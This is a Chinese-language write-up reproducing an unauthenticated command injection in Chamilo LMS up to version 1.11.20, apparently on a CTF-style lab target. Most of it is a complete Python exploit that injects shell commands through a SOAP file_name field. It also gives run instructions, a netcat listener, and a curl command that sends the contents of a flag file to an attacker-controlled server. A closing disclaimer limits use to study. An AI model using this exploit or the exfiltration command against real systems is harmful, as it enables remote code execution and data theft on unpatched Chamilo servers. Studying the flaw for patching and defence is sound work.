0x01 前言
Chamilo LMS <= v1.11.20 /main/webservices/additional_webservices.php
中的命令注入允许未经身份验证的攻击者通过不当中和特殊字符来获取远程代码执行。这是对 CVE-2023-34960 的绕过。
影响范围:
- Affected 版本 <= 1.11.20
复现准备:
- 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com/
- 公网服务器:10.10.10.1
0x02 复现
1. POC
#!/usr/bin/env python3
import argparse
import requests
SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
'''
def execute_command(url, command, technique):
payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)
try:
response = requests.post(f'{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
except:
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
parser.add_argument('-c', '--command', help='Command to execute', required=False)
parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)
args = parser.parse_args()
if args.command is None:
if execute_command(args.url, 'id', args.technique):
print(f'URL vulnerable: {args.url}')
else:
print(f'URL not vulnerable: {args.url}')
else:
if execute_command(args.url, args.command, args.technique):
print(f'Command executed: {args.command}')
else:
print(f'An error has occured, URL is not vulnerable: {args.url}')
if __name__ == '__main__':
main()
2. 漏洞利用
将以下代码复制到 poc.py 文件中,使用终端执行:
python3 poc.py -u http://xxxxx.cloudeci1.ichunqiu.com/ -c "whoami"
# -u 靶机 url
# -c 命令行字符串
执行后,发现命令执行成功,但是无回显。
3. 端口监听
使用 nc 开启端口监听:
# 监听 4444 端口
nc -lvvp 4444
修改漏洞利用执行命令并重新执行:
python3 poc.py -u http://xxxxx.cloudeci1.ichunqiu.com/ -c "curl http://10.10.10.1:4444/?data=\$(cat /flag)"
此时,4444 端口监听显示 flag
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!